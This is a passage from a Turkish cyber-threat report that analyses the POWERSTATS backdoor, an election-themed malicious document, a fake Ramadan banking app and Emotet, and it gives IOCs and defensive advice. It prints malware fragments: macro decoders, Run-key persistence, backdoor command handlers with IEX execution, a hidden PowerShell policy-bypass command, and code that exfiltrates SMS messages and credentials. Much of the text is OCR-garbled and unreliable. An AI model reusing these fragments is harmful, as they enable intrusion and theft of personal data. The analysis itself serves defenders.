masinin kullanildidi tespit edilmigtir.

SIBER TEHDIT DURUM RAPORU



NiSAN-HAZIRAN 2019

thimktech

STM Teknolojik Diigiince Merkezi

Qiject Catalog

- FWERGTERYWE S
L G SaRYIHHG
L G YHEE AL YHETC
AR MG SEGEN ETCAL
L G ATERTRISC4TY AT
L GROSTASYAMEYT
Yo GWTERCIIASOWERG
- IS Ged USRI BUGE 34
¥ . LEWTURWOIGH S8 TR0 ERCH EDRUFG
= FISHUYFLSFIESHFLISHT.
# blAlhrchPadl Clich
= Lherfoam_hciivale
LGS G LR SRR
- WG T T VI
RTH SOYH ST M
* Bl modules

Nm RTCFBEaTe WEA_ Faly | T e R ] -
Dpklon VRASuppart 1
TR T R T TR

1 &% BLrkesg

An ObijecE

7l 0 1 [ Mol {1t = ) /o G ST, JEIOZLE " ISEREAES )]
cialfslder |3}

yharf Ax Dojeci

BELupDaf I = GresTel]eCl | Teid] " 1=HI+/BRLEEn A TR kL L JITRL D] " FEHESSYL™ ] §
A bunshfhies Ax Dojecd

=g Lo 1ol SCylde nEl”, vBOFI1MCE]

L s e TS D L L Do T el T LR L1 E Ty P SR Sniy i o Fuse [~ 163, <5882 )]
Lire Toncy |G IUSLSIEMF K080 . Text )

¥ L FRBAREYFOSUH DEFLM ]
=+ Qedp
e RREDACE
= THFCDPRODFRED
RO CIFRCTXHOY
e G CRN N VRERYT
o EEFECLIFR
s FAIELOYFHILEIFOH L FAEF
= riTalghlsiuhkduhkghdihg

= FHBEMYFWF ::.rl\-::fuhx [STT
L L Oy Uslssd Me
o FYRITHY YR OON

kL fuﬂ-b{-rmmﬁm"im Lnd Sus

Sekil 32: Encoding edilmis zararli makro kodlari.

Function func(ByVal bbbb)
mtput - UL
For I = 1 To Len(bbbb)

Frivate Sub UnerfFoom Activetie|]

Value = Value * 52 + (Asc({Mid(bbbb, I, 1)) - 48)

If I Mod 3 = ® Then
While Value > @

v = Value Mod 256

If v > @ Then

Qutput = Chr(v) + Qutput

End If

Value = Value \ 256

Wend
Value = @
End If
Next
func = Qutput
MsgBox Output
End Function

$iiiiiiiiiiiiiiiiiiiiﬁiﬁiir

Scripting.FileSystemObject

b = "1=H2+Q/BR1G92X</VY¥251.JI10Z1[*2IH255/VC"

func(b)

Sekil 33: Makro kod pargasina ait decoding asamasi.

Asagidaki Sekilde “B.reg” dosyasi olusturularak icine
WriteLine fonksiyonu ile payload kodu yazilmaktadir.

Function F3BHUYFLSFIBSHFUTISHS()
Dim ailsuhgofusihrosughikedf

Set ailsuhgofueinroeughjksdf = CreateObject("Scripting.FileSystesObject™)
sd = ailsuhgofusihrosughikedf.GetSpecialFolder(2)

FIBHUYFLSFSBSHFUISHS = sd
End Function

Dim juoweyweFhkdbhiuvernbiuvybers

Set iuoweywefhkdbhiuverhbiuvyberf = CreateObject("Scripting.FileSystemObject™)

Dim FdiguilelkdsFiT8yhFiusdnfhian
MsgBox "Unable to load Style.xml”, vbCritical

t:'uUM_AppData'-.LnuhTempmreg

Set fdigullelkdsfiT8yhfiusdninkas = luoweywefhkdohiuverhbluvyberf.CreateTextFile(F3BHUYFLSFIBSHFUISHS + "\B.reg™)

MsgBox (FIEHWUYFLSFOBSHFUISHS + “\B.reg™)

faigullelkasfi7E8yhfiusdhfhkas. Writeline Func(IUHGISURUHDSHFKISDHG ., Text )

fdiguilelkds¥fjTByhfiusdhfhkao.Close

Sekil 34: “B.reg” dosyasinin olusturulmasi.

SIBER TEHDIT DURUM RAPORU
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Sekil 35: Payload kodunu iceren kayit defteri dosyasi.

“B.reg” dosyasl icine yazilan payload kodu asa-
gidaki Sekilde yer almaktadir. ilgili payload kodu \
CurrentVersion\Run altina eklenerek sistemde kalicilik
saglanmaktadir.

alex

atetContent db get-comtent '
g

Operation db ‘open®,@

L astringTootong db ‘string to
LrAate: 1] S04
aTnwvalidstringP db *invalid st

aladCast db 'ba

Sekil 36: DLL icerisinde yer alan powershell arka kapi kodu.

Sekil 37: DLL icerisinden elde edilen sifrelenmis zararli kod pargasi.

§$j=[string] "SvrCr"4" "4"SCyr"+Mn

$5 = "1 ém not 6 wOmén, s0 1 60n7 hévo

Sekil 38: Sifre ¢ozme isleminde kullanilan anahtar degiskeni.

22

HEX formatindaki payload kodunun ASCII formatindaki
hali asagidaki gibidir :

rundll32 % Temp%\png.dil,RunPow

ilgili komut ile “png.dll” icindeki “RunPow” fonksiyonu
calistinimaktadir.

“png.dll” dosyasi statik olarak incelendiginde RunPow
fonksiyonu iginde karmasiklastinimis Powershell arka
kapi kodunun yer aldigi tespit edilmistir.

Powershell kodu DLL iginden cikartilip incelendiginde,
zararliya ait ana kod pargasinin “$thardcore” isimli degis-
kende sifrelenmis bir Sekilde yer aldigi tespit edilmistir.

Sekil 37°de yer alan “f***e” fonksiyonu ile ayni sekilde
kodun iginde yer alan “$j” degiskeni anahtar olarak kul-
lanilarak sifrelenmis gédmuili kod pargasi ¢cézilmektedir.

“$thardcore” degiskeninde sifrelenmis Sekilde yer alan
powershell kodu ¢ézimlendiginde, ilgili powershell ko-
dunun cift iterasyonlu obfuscation isleminden gecirildigi
tespit edilmis ve deobfuscation islemi analiz sirasinda
yapilmigtir.

Deobfuscation isleminden sonra elde edilen kodun main
fonksiyonu asagidaki gibidir.

NUETESYEYTENE MENSTyrien NSy
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Elfunction main() {|

randomfun
sStarcup
myinfo
Set=Location $Global:folderpath
] while (1) {
j S5uploadflag=DUplcadFile fStargetreg Sfilereg
] if (fapleadflag -eq Strae) |

ri -path §Global:filereg

break
} else {
errorcheck
)
H
= if(Tesc-Fach $Sglobal:comandproc) {
-Pach $global:comandproc
}
= if(Teat-Path Sglobal:cmdfile) |
-Pach Sglobal:cmdfile
}
= while(l){

Sekil 39: Main fonksiyonu.

ane=jnull
ri=iRnll

ame=fanill
Falichal :indexapi=
Bagpil=
Hagui=
$plchal :Totalip
Bglabal rauns

1=§apid, Fapil
SELEATLES = STorslspl|dinasaaps )

Sekil 40: startup fonksiyonu.

Jfunction myinfo () {
Sregismosname
Sregis+="::"
Sregis+=arch
Sregis+="::"
Sregis+=comname
Sregis+="::"
Sregis+=mydomain
Sregiss="::"
Sregis+=myuser
Sregis+="::"
Sregis+=myip
Sregis+="::"
Sregis+=Get-Date -Format G
Sregis |Cut-File §Global:filereg -Encoding unicode
return §filereg

.|}

Sekil 41: Sistem bilgilerinin elde edilmesi.

ﬂ thimkktech
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“startup” fonksiyonu ile zararl tarafindan olusturulan
kayit defteri ve kod pargalarina ait dosyalar Windows
Startup altina eklenmektedir.

Main fonksiyonu iginden ¢agrilan “myinfo” fonksiyonuy-
la enfekte sisteme ait bilgiler elde edilmektedir.

Analiz sirasinda zararlinin elde ettigi sistem bilgileri
Sekilde 42’de aktariimaktadir.

Windows baslangi¢ mekanizmasi ve sistem bilgi toplama
asamasl basariyla tamamlandiktan sonra, ilgili zararli ko-
muta kontrol (C&C) sunucusundan istek beklemektedir.

C&C sunucusundan beklenen arka kapi komutlar asa-
gida listelenmistir:

$upload : sunucuya dosya yiikleme
$download : sunucudan dosya indirme
$halt : cikis

$dispos : kalicilik mekanizmasini silme

Default : gelen powershell payload kodunu direkt
olarak IEX (Invoke Expression) komutu ile enfekte
sistem Uzerinde calistirma

“Hicrosoft Windows 7 Profesaional iié4-bitiRIN-71MNTORITEO:sin-m1arcu rr: IR R i : 14062018 03i26ii1

Sekil 42: Elde edilen sistem bilgileri.

SIBER TEHDIT DURUM RAPORU
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“$upload” komutuna ait kodlarin bir kismi agagidaki gibidir.

switch (Skeycommand) {
' ey vd' |
Sdownloadfilename=5§Global : readcmd.Split () [1]
Slocalfiledownload=5folderpath+5downloadfilename

while(l){
§flagdownload=DDownloadFile /$downloadfilename $localfiledownload

Sekil 43: $upload komutu.

“$download” komutuna ait kodlarin bir kismi asagidaki gibidir.

'$download’ {
$f=§Global:readcmd] %{$_.spll'c.(' ***)[11}

if(§f -match "\\") {

Sekil 44: $download komutu.
“$halt” komutuna ait kodlar asagidaki gibidir.
shalt'({

ri -path $global:cmdfile;

exic

Sekil 45: $halt komutu.

“$dispos” komutuna ait kodlar asagidaki gibidir.

{HCT: \Sofowara\Microaogfo\Windows\CurrencVarasion\Bun -name WindowaUpdatce

I}
i
=]
(5]
]
1
(B
ol
]
3
m
Lh]
(5]
L]
i
H
i1
'

Sekil 46: $dispos komutu.

On tanimli olarak igletilen kod parcasi asagdidaki gibidir.

default {
§s = §Global:raademd +" n"
§8 +=iex $Global:readcmd|Ouc-5String
encc §s|Cut-File §global:comandproc -Append

i -path §omdfile
while(l) {
Suploadflag=DUploadFile /§global:localfile $global:comandproc

if ($uploadflag -egq Strue){
i -path §global:comandproc
Sglobal:cmddeleceflag=5null
break

} else{
errorcheck

}

break

Sekil 47: Default durumu.
SIBER TEHDIT DURUM RAPORU
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Yapilan analiz sonucunda zararli makro kodlari barindiran
ofis dosyasinin iginde POWERSTATS arka kapisi oldugu
tespit edilmistir. Saldirganlar bu sekilde spam e-postalar
araciliglyla sistemi ele gegirip uzaktan komutla ¢alisabi-
lir hale getirebilmektedir. Uzak sunucudan dosya indirip
enfekte sistem Uzerinde calistirma yeteneginden dolayi
ilgili zararli yazihm saldirisina ait senaryolar genigletilebi-
lir. Bu tarz ek dosya iceren e-posta mesajlarina stipheyle
yaklasilmasi gerekmektedir. Makro &zelliginin aktif hale
getiriimemesi gerekmektedir.

Ukrayna secimlerinden sonra, arkasinda bir APT grup ol-
dugu dusunulen zararl bir dokiiman yayilmaya basladi.
Secim sonuclar hakkinda bir yorum iceren s6z konusu
dokimanin, parola korumali macrolar ile bilgisayar tize-
rinden sifreli bir sekilde dosya ¢almaya calistigi yapilan
incelemeler sonucunda anlasiimigtir.

e e AzH rame Aal

Ukraine election 2019 polls: Who is
leading in the polls as Ukraine faces
Russian THREAT?

UNMAINE wil Bl sbections on Mareh 31, a3 &4 sandidates battle 1o win

polli & Ukraing

race. Bl who
Taces & “sarbeus thiwal™ from Rusaia®.

Sekil 48: zararli igerik barindiran dokiiman.

8.1. Teknik inceleme

DokUman igerisinde bulunan macrolara ulasim parola
korumali olarak tutulmus ve saklanmaya caligiimistir.
Zararli 6nce bir WMI komutuyla dokimanin metadata-
sinda yer alan batch betigi calistirmaktadir. Ardindan
cmd Uzerinden powershell’e gegcmektedir.

407 WmiPrvSE.exe 1672 2,73 MB
& N cmd.exe 1200 2,14 MB

4 B cmd.exe 3404 2,02 MB

EY powersh... 2144 50,38 MB

Sekil 49: Arkaplanda ¢alisan islemler.

thimkktech
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Cmd Uzerinden calistinlan butin kodlar karmasik-
lastinimisti. Kod c¢alistinidiginda yine karmasiklasti-
rimis edilmis bir powershell betigine ulasiimaktadir.
Powershell betigi Sekil 50’de aktarlan parametrelerle
calistinimaktadir.

Powershell betiginin icinde network lzerinde bulunan
baska cihazlar olup olmadi§i taratiimaktadir. Ayrica
bilgisayardaki bazi dosyalara ulasmaya calismaktadir.
Calisan betigin 185.216.35.182 IP’sinin 8443 portu ile
sifreli bir sekilde haberlestigi gbzlenmistir. Yapilan ha-
berlesme birden fazla kez gerceklesmektedir. Bundan
dolay! zararlinin bilgisayardan veri kacirdigi disinil-
mektedir. IP’ye ait domain adinin functiondiscovery.net
oldugu belirlenmistir. Zararlinin VirusTotal c¢iktisi Sekil
51’de aktariimaktadir.

5] - .
D Q) 11 sagine drtctad s

Sekil 51: Zararlya ait VirusTotal analiz sonucu.

8.2. Tehdit Vektorii Gostergeleri

Zararlinin baglanti kurmaya ¢alistigi IP
185.216.35.182:8443

Tespit edilen zararliya ait hash bilgileri
8A35B6ECDF43F42DBF1E77235D6017FAA-
70D9C68930BDC891D984A89D895C1E7

8.3. Tavsiyeler

Ulkemizde de secimler sonrasinda benzer yazilar iceren
dokiimanlarin yayilabilecegi dustiniilmektedir. iclerinde
makro olan, dzellikle Word dokiimanlar nereden geldigi
belli degilse kesinlikle agiimamalidir.

CAWINDOWS\system32\WindowsPowerShellw1.0\powershell.exe pOWERShEIL -nONiNteRaCtiv -WinDoW5StyL

HiDDeM -NOexi -exEcuTloNPol BYPAsS -NopRo -

Sekil 50: Betigi calistiran komut satin parametreleri.

SIBER TEHDIT DURUM RAPORU
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Ramazan ayi gibi kurumlarnn &dulli cekilisler dizenle-
digi, 6zel firsatlar sunulan dénemlerden zararli yaziim
gelistiriciler de her zaman fayda saglamaya ¢alismakta-
dir. Béyle dénemlerde cekilis temali zararli uygulamalar
Google Uygulama Magazasinda da artis gostermekte-
dir. Analiz raporunda bu konuda gtincel bir érnek olan
ve Ramazan bayrami temasini kullanan sahte bankacilik
uygulamasi incelenmektedir.

9.1. Teknik incelme

indirilen apk dosyasi uygulama magazasinda Sekil
52'deki gibi yer almaktadir. Gelistirici ismi olarak resmi
kurum izlenimi veren bir isim kullanmaktadir. Zararli uy-
gulama indirildiginde Sekil 53’teki ekranla agiimaktadir.

i PEGI 3
e
- o 3
cimk_‘ [] istek Listesine skie m

Sekil 52: Zararlinin uygulama magazasinda gérinimda.

c82678c488b6441a89af69f8ee95bfbd1d-
7be06f9bbd66b3d048effc147600cd Ozet bilgisine sa-
hip uygulamanin AndroidManifest dosyasi Sekil 54’teki
gibidir. Uygulamanin internet, SD card okuma, yazma ve
paket kurma yetkileri istedigi gérilmektedir.

Uygulama gerekli izinleri aldiktan ve bulastigi telefon-
da calistinldiktan sonra 160[.]153[.]133[.]170 IP adresi-
ne sahip kamasullah[.]Jonline adresinden “guncelleme.

private void startUpdated() {

NiSAN-HAZIRAN 2019

The new version v2.1.8

can be downloaded!

GUNCELLE
|

Sekil 53: Zararli uygulama acilis ekrani.

Sekil 54: AndroidManifest dosyasi.

apk” isminde bagka bir zararli uygulama indirmektedir.
631cd0714e34f5b77aa55f651143c0c77310545b96¢-
94453b7e74a735387bcf4 6zet bilgisine sahip guncel-
leme.apk daha sonra paket kurma yetkisiyle telefona
kurulmaktadir. Uygulamanin guncelleme.apk dosya-
sini indirdigi zararli fonksiyonlar Sekil 55, 56 ve 57°de
gorilebilir.

Updatefonfigurat ion configuration = mew UpdateConfiguration{].setEnablelog(true) . setluspInstallPage(true). setDislogButtonTeatlolor(-1}.setBreakpointBDownloaditrue) . setShowlotification
this. manager PownloadManager.getInstance!| i)
this. manager. setApkNome (" guneellese . ap setApkUrl|“htr kamasullan . online/g llese aph” | serSmallTcon(8x7FOBSO0S )  setShoutewerToast (true) . serdonfiguration|configuration) . setApk

Sekil 55: Zararli fonksiyon.

public void onClick
nt id = v.getld
if(id == id.ib_close) {
if(ithis. forcedlpgrade
this Alsmise

ifithis.buttonlicklistener null
this.burrenlickiistensr. onButtenllick(l):

else if(id == id.btn_update) {
it (this. forceaUpgrade) |
this. update. setEnabled|Talse);
this.update. setText (string. background downloading

else |
This.dismiss

if (this. buttonClickListener 's null
this. burronClickiistensr onButtonClick(d

it(1this. downloadPath equals(this. context. getExternalCacheDir
this.context. startActivity(mew this.context. Permissiondctivity.class

elae |

this.confext. startService|{new this.confext, DownloadService. class

Sekil 56: Zararli fonksiyon.

26

getPath()] L& 'Permissionl

i1 checkStoragePernission(this, context

SIBER TEHDIT DURUM RAPORU
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Bif = mew new new imew ta/" + eontewt. gerPackagelane

while|true
line = BYY. readlime()
ifilime malll {
bresk

sb_append| Line
a0, append
8 = sb.teString
eanen el |

e.printStackTrace
5 . o

return v§

Sekil 57: Zararli fonksiyon.

indirilen ve telefona kurulan “guncelleme.apk” uygula-
masinin agilis ekrani Sekil 58’deki gibidir.

Zararl uygulamanin istedigi izinler Sekil 59’da gortlebi-
lir. Uygulama SMS alma ve okuma gibi tehlikeli izinler
istemektedir.

Ramazan hediyeleri adi altinda acgilan uygulama, kul-
lanicilardan ¢ekilise katilim adi altinda TC Kimlik ya da
masteri numarasi, musteri parolasi ve telefon numarasi
bilgileri istemektedir. Toplanan bu bilgiler uzak firebase
veritabani sunucusuna aktariimaktadir. Uygulama agcil-
diginda ayni zamanda arkada otomatik olarak baglayan
bir servis ile de zararli uygulama kuruldugu telefonda-
ki SMS mesajlarni da firebase veritabani sunucusuna
aktarmaktadir. Uygulamanin zararli islemlerini yurut-
mek icin kullandidi fonksiyonlar Sekil 60 ve $ekil 61’de
go6rilmektedir.

lone=' no“?>< xmlns:an “"http://schemas.android.com/apk/res/
="28" : ) package="com. mobil.mobilapp"
Bui
android. permission.RECEIVE SMS" />
droid.permission.READ_S
android.permission.READ_| PHONt _STATE" />
android.permission.ACCESS_NETWORK_STATE" /=
“android. petm1=51nn.INTERNET“/>
appComponentFactory="and support.vd.app.CoreComponentFac
¥ G /ic_launcher_foreground" : G
mlpmap/lc launcher fﬂrpground" android:supportsRtl="true" andr
android: name="com. mobil.mobilapp.MainActivity">

ndroid. intent.action.MAIN"/>
“android.intent.category. LAUNCHER" />

="true" andro android:name="com. mobil.mobilapp.servishizmet" />
d="false" android: : google.android.gms.common.api.GoogleApiActivity" android:
tthF‘”adndrOl Theme. TrdnCIULent NoTitleBar"/>
< android:authoritie s moblL mubllapp flrLbd;ﬂ itprovider" android ported="false" android:
Drde goo nitProvider"/>
@integer/google_play_services_version"

Sekil 59: AndroidManifest dosyasi.
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public wvoid onClick( vl |
ifittl.getText().toString() .matches(
ttl. requestFocus

NiSAN-HAZIRAN 2019

makeText (MainActivity.this.getApplicationContext(). “Litfen TCKN veya misteri nusaranizi girimiz™. 1).show():
return
if(tt2.getText().toString() .matches(
tt2. requastFacus
makeText (MainActivity.this.getApplicationContext(). "Litfen misteri parolanizy girimiz™, 1).show()
return
if(tt3.getText().toString().matches{"")) {
ttl. requestFocus
makeText(MainActivity.this.getApplicationContext(}, “Liétfen telefon musarinizi girinm + 1) .show()
return;
MainActivity.this.setContentView({O0x7FOBBO2B) ; layou 0y 2
DatabaseReference fires = FirebaseDatabase getInstance().getReference();
fires.child{“leglar™).child{kimlik).child{"TCKN") . .setValue{ttl.getText().toString()):
fires.child{"laglar”).child(kimlik).child{“Parola").setValue(tt2. getText().toString())
fires.childi"leglar™).child(kimlik).child{ G5M setValue(tt3.getText().toStringi)):

MainActivity.this.gotimer();

Sekil 60: Zararli fonksiyon.

public class servishizmet extends 5S¢ e {
public class SMSreceiver extends | tRe {
private final &t TAG;

public SMSreceiver() {
this.TAG = this.getClass({).getSimpleName();

}

t context, I

public veoid onReceive( t intent)

kimlik = i .get5tring({context.getContentResolver(), "android 1d");
t[] puds = { ect[])intent.getExtras().get{ "pdus”)
int v3;
for(vd = B8;: v3 = puds.length; ++v3) {
1 incoming = 1 e.createFromPdu( { (byte[] Jpuds[v3])):
.d(this.TAG, incoming.getMessageBody()):
.d{this . TAG, incoming.getOriginatingAddress()}:
currentDateTimeString = .getTimelnstance().format(new Date());

DatabaseReference v18 = FirebaseDatabase.getlnstance().getReference().child{"leglar™).child{kimlik):

E vll = mnew 5t Bui ()
vll.append(“3-");
vll.append(currentDateTimeString):

v10.child(vll. toString()).setValue(incoming.getMessageBody());

private I mIntentFilter:
private SMSreceiver mSMSreceiver:

gNullable
public IF onBind(Int
return null;

intent) {
}

public void onCreate() {
super.onCreate():
this . mSMSreceiver = new SMSreceiver(this);
this .mIntentFilter = new Intent ter();

this.mIntentFilter.addAction("android.provider.Telephony.5M5 RECEIVED");

this.registerReceiver(this . mSMSreceiver, this.mIntentFilter);

Sekil 61: Zararl fonksiyon.

9.2. Ele Gecgirme Yontemleri

Tespit Edilen Alan Adlarn
- kamasullah[.]online

Tespit Edilen IP Adresleri
- 160[.]153[.]133[.]170

Tespit Edilen Ozet Bilgileri

- €82678c488b6441a89af69f8ee95bfbd1d-
7be06f9bbd66b3d048effc147600cd

- 631cd0714e34f5b77aa55f651143c0c-
77310545b96¢c94453b7e74a735387bcf4

28

9.3. Tavsiyeler

iletisime gecilen etki alani ve IP bilgileri kara listeye alin-
mal ve kuruma ait android cep telefonlarindan bu ad-
reslere ydnelik bir trafik olup olmadigi kontrol edilmelidir.
Google uygulama magazasindan uygulamalar gelistirici
ismi, paket ismi, kullanici yorum ve degerlendirmeleri
kontrol edilerek indirilmelidir.
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Dunya c¢apindaki kampanyalariyla bilinen emotet za-
rarli yazihminin hedefleri arasinda Turkiye de bulunu-
yor. Saldirilarini ofis dokUmanlariyla oltalama saldirlar
seklinde gerceklestiren emotet zararlisi, diinyanin farkli
noktalarinda ele gecirdigi sunucular Gzerinden yayiliyor.
Raporda STM Siber Flizyon Merkezi tarafindan heniiz
gelistirme asamasinda kesfedilen ve Tlrk kullanicilar
hedef alan emotet zararlisinin teknik incelemesi yapil-
maktadir.

Wl = A1296BFCBAD2AFSID4F 8FC TCOERFEISA3RAZ 1ES 962726 CHERSRASAZBCHIBE 7T dore [Compatibility Mode

FE N Y | sencod| assscenc AaBbC AaBbC AaBb{ AaBber -
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10.1. Teknik inceleme

indirilen doc dosyasi acildiginda asagidaki Sekilde go-
rinmektedir. Zararli dosya gelistirme asamasinda yaka-
landidi icin herhangi bir sosyal miihendislik saldirisina
yonelik degistirilebilir bir yapida oldugu gérilmektedir.

a1296bfc86d2af59d4f4fc7c068fe25436a21e-
5962726c8e85846a3bc69b0775” 6zet bilgisine sahip
dokiman dosyasi acildiginda WMI Gizerinden powershell
betigi calistirmaktadir.

Powershell betigi erisilebilir bir uzak sunucudan emo-
tet zararlisini indirmektedir. Glincel inceleme sirasinda
istanbul, Tirkiye’de bulunan 185[.]93[.]71[.]204 IP ad-
resine baglanti yaparak 1ef97f716d3276acbf45fd27e9f-
189714f6209a7f94df2d3750a05ade1a26cd6 6zet bilgi-
sine sahip 865.exe isimli emotet zararlisini indirmektedir.

Sekil 62: Zararli uygulama agilis ekrani.

Sekil 63: Zararl sireg grafigi.

SIBER TEHDIT DURUM RAPORU
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865.exe ismiyle inen zararli yazilim, debug yetki-
si almakta, kendisini system32 altina koyduktan
sonra ayni 6zet bilgisine sahip dosyayr Ameri-
ka’da bulunan uzak 88[.]21[.]212[.]13 IP adresin-
den tekrar indirip calistirmaktadir. Bu asamadan
sonra indirilen her dosya, her analiz sirasinda ras-
gele isimlerle Uretilip indirilmektedir. Teknik analiz
sirasinda kesfedildigi Uzere, tim silrecte ismi sa-
bit olan tek dosya 865.exe’dir. Ilgili dosyanin yetki
almakta kullandigi fonksiyon c¢agrisi, intezer DNA
analiz sonuglar ve system32 altina tasima iglemi
asagida gorulebilir.

10.1.1. Fonksiyon cagrisi:

LookupPrivilegeValueW  (in:  IpSystemNa-
me=0x0, IpName="SeDebugPrivilege”, IpLu-
id=0x1ee194 | out: IpLuid=0x1ee194*(Low-
Part=0x14, HighPart=0)) returned 1

Sekil 65: Zararli DNA analiz bilgileri

zrPathw , Cs1dl=41, hToken= » dwFlags= r pszPath= | out: pszPath="C:\\Windows\\system3Z") returned
Heap ()

fe ) returned
f (in out: _Dest="C:\\W wshhsystemi2i\slideredist. ¢ } returned
sHear
fin:

, OwFlags=0x@, lpHem= | out: hHeap= 1 returned
ilewW (1lpFileName="C: rs\\ZXCTuB6IGrC sktopihduaija " {normalized: "c: s\ 2xeTub fesktof jua e"), dwhesiredAccess=
eMappingW (hFiles=i » lpFileMappingAttributes= . flProtect= , thMax imumSizeHigh= » OwMaximumSizeLows s LpName= 1 returned

File (hFileMappingObject= , dwhesiredAccesss o dwFiledf fsetHigh= p UwFileDffsellows s dwhumber0fBy tesToMap= ) returned

Sekil 65: Zararlinin system32 altina taginma iglemi.
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Dosya kendisini tekrar ¢alistirdiktan sonra sistem bilgile-
rini ve donanim bilgilerini toplamaktadir. Bilgi toplamak
icin kullanilan fonksiyon ¢agrilari asagida gérilebilir.

Process32FirstW  (in:  hSnapshot=0x114, Ip-
pe=0x12f504 | out: Ippe=0x12f504*(dwSize=0x22c,
cntUsage=0x0, th32ProcessID=0x0, th32Default-
HeaplD=0x0, th32ModulelD=0x0, cntThreads=0x1,
th32ParentProcessID=0x0, pcPriClassBase=0, dwF-
lags=0x0, szExeFile="[System Process]”)) returned 1

Process32NextW  (in:  hSnapshot=0x10c, Ip-
pe=0x12f504 | out: Ippe=0x12f504*(dwSize=0x22c,
cntUsage=0x0, th32ProcessID=0x4, th32DefaultHe-
aplD=0x0, th32ModulelD=0x0, cntThreads=0x52,
th32ParentProcessID=0x0, pcPriClassBase=8, dwF-
lags=0x0, szExeFile="System”)) returned 1

GetNativeSysteminfo (in: IpSysteminfo=0x12f888
| out:  IpSysteminfo=0x12f888*(dwOemld=0x0,
wProcessorArchitecture=0x0, wReserved=0x0,
dwPageSize=0x1000, IpMinimumApplicationAdd-
ress=0x10000, IpMaximumApplicationAddres-
s=0x7ffeffff, dwActiveProcessorMask=0xf, dwNum-
berOfProcessors=0x4, dwProcessorType=0x24a,
dwAllocationGranularity=0x10000, wProcessorLe-
vel=0x6, wProcessorRevision=0x4f01))

Toplanan bilgilerin sistem parmak izi cikartma is-
leminde ve anti-* tekniklerde kullanildigi degerlen-
dirilmektedir. Bilgi toplama igleminden sonra &zet
bilgisi 0af8982ad891b4514b19d4e6bdec99a0fca-
379b188738cae51ec2e186¢18fc8d olan son bir dosya
indirilerek sistemde yer alan e-posta yazilimlarinda yer
alan kullanici kimlik bilgileri ve e-postalar, tarayicida ka-
yith kimlik bilgileri ve tarayici verileri gibi kisisel bilgileri
toplamaktadir. Ayrica, indirilen ve kigisel veri toplayan
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zararl dosyanin fark edilmemek i¢cni Firefox’a sahip
DLL'ler kullandigi gb6zlenmistir.

10.2. Tehdit Vektori Gostergeleri (Indicator of
Compromises)

Zararhnin iletisime gec¢tigi domain bilgileri
- word[.]Jyuupi[.]Jtk

- newversion[.Junitedbuscharter[.Jcom

- videos|[.]Jlamaghrebine[.Jcom

Tespit edilen IP adres bilgileri
- 201.97.131.88

- 88.21.212.13

- 68.52.43.253

Tespit edilen zararliya ait hash bilgileri

- a1296bfc86d2af59d4f4fc7c068fe25436a21e-
5962726c8e85846a3bc69b0775

- 1ef97f716d3276achf45fd27e9f189714f6209a71-
94df2d3750a05ade1a26cd6

- 0af8982ad891b4514b19d4eb6bdec99a0fca379b-
188738cae51ec2e186¢18fc8d

10.3. Tavsiyeler

iletisime gecilen domain ve IP bilgilerine dikkat edilme-
li, belirtilen domain ve IP bilgileri kara listeye alinmali
ve gelen e-postalarin 6zet bilgileri icinde yukarida be-
lirtilen dokiiman dosyasinin bulunup bulunmadigina
bakilmaldir.
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Bu kisimda teknolojik gelismelerin siber giivenlik lze-
rindeki etkileri atak ve savunma baglaminda incelen-
mekte ve kuresel capta dikkat geken gelismeler analiz
edilmektedir.

Ben-Gurion Universitesindeki arastirmacilar derin 63-
renme ydntemleri kullanarak 3-Boyutlu medikal tarama
sonuglari tizerinde degisiklikler yapilabilecegini gdster-
diler ". Aragtirmacilar bu tir bir saldirinin ardinda poli-
tik ¢ikarlar, bilimsel arastirmalar hedef alan sabotajlar,
sigorta dolandiriciliyi gibi motivasyonlar olabilecegini
soOyluyor. Arastirmada derin 6grenme ydntemleri kul-
lanilarak gercek 3-Boyutlu taramalara akciger kanseri
isaretcileri eklenmesi ve/veya cikarilmasiyla radyolog-
larin ve son zamanlarda basaril teshisler yaptigi goru-
len yapay zeka destekli sistemlerin nasil aldatilabildigi
gosteriliyor.

Tibbi gérintileme teshis ve tedaviicin yaygin olarak kul-
lanilan bir yéntem. iki tirii mevcut: Manyetik Rezonans
Goruntileme (MRI) ve Bilgisayarlh Tomografi (CT). MRI
ve CT insan vicudunun éninden ve arkasindan ali-
nan 2-Boyutlu birgcok taramayi birlestirerek 3-Boyutlu
bir gérintl Uretiyorlar. Aralarindaki fark, MRI kuvvetli
manyetik alanlar kullanirken CT’nin réntgen isinlarini
kullanmasi. MRI genel olarak kemikler, eklemler, bag
dokusu, kikirdak yapi ve bel fitigi tanisinda kullanilr-
ken, CT taramalar kanser, kalp krizi, kas-iskelet sistemi
bozukluklari gibi durumlarda tercih edilmektedir.

NiSAN-HAZIRAN 2019
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Sekil 67: Saldir adimlan.

Hastanelerde MRI ve CT tarama yapan cihazlar Gérinti
Saklama ve lletisim Sistemleri (PACS) tarafindan yé-
netilmektedir. Bu sistemler DICOM olarak adlandirilan
protokolU kullanmaktadir.

Arastirmacilar Sekil 67’de goraldiga gibi, Man-in-The-
Middle tipi bir saldiriyla araya girerek gériintileme so-
nucglarina bazi kanser bulgularl eklemis veya ¢ikarmig-
lar. Arastirmacilar 70 degistirilmis tarama sonucuyla 30
orijinal tarama sonucunu degerlendirmek icin U¢ rad-
yolog ile calismiglar. Radyologlar sonuglarina sahte ak-
ciger kanseri bulgulari eklenen hastalarin ytizde 99’unu
kanser hastasi olarak teshis etmigstir. Ayni sekilde so-
nuclarindan kanser bulgulari kaldirilan hastalarin ytzde
94’Une ise saglkli tanisini koymuslardir. Radyologlar
saldin hakkinda bilgilendirildikten sonra yaptiklar tes-
hislerde de gercekte hasta olmayan Kkisilerin ylzde
60’ 1in1 kanser hastasi, akciger kanseri bulgulari tasiyan
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E.r @ Workstations Manager System Terminal ! :

o I E

% \i__| E- E- E- —— bt
Site

oIicom

CT Scanner

MRI

Radiologist
Workstations

pacs TS
Server/DB n%

Sekil 68: Sizma testi adimlar.
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hastalarin da ylzde 87’sini saglikli olarak degerlendir-
mistir. Bilgisayar destekli kanser teshis sistemleri ise
saldir sonucu Uretilen ve sahte kanser bulgulari iceren
hasta sonuclarinin tamamini kanser tanisi agisindan
pozitif olarak etiketlemistir.

Sahte sonuc iceren taramalari Gretmek igin 6zel bir de-
rin sinir agi (deep neural network) tirl olan cekismeli
Uretici aglar (generative adversarial networks) kullanil-
mis. Her CT taramasi 512x512 piksel ¢ozindrlikteki
kesitlerden olusmaktadir. Buna gére 3-Boyutlu bir insan
viicudu taramasi 157 milyon (512x512x600) voksel ice-
